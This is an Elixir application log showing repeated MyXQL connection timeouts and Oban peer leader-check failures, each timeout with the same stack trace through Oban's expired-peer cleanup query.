[Sat Sep  5 21:13:38.229000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:14:12.262000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:14:13.232000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:14:17.263000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:14:21.544000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:14:56.575000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:15:01.576000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:15:05.518000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:15:05.799000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:15:38.834000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:15:43.835000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:15:47.906000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:16:20.936000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:16:22.908000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1232.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 21:16:25.937000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:16:30.892000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:17:04.925000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:17:05.521000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:17:09.927000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:17:14.566000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:17:49.598000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:17:54.599000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:17:57.912000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:17:59.365000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:18:33.396000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:18:38.397000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:18:43.260000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:19:16.297000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:19:21.298000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:19:26.109000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:20:01.142000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:20:02.921000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:20:05.527000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:20:06.143000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:20:10.709000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:20:44.742000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:20:49.743000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:20:54.277000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
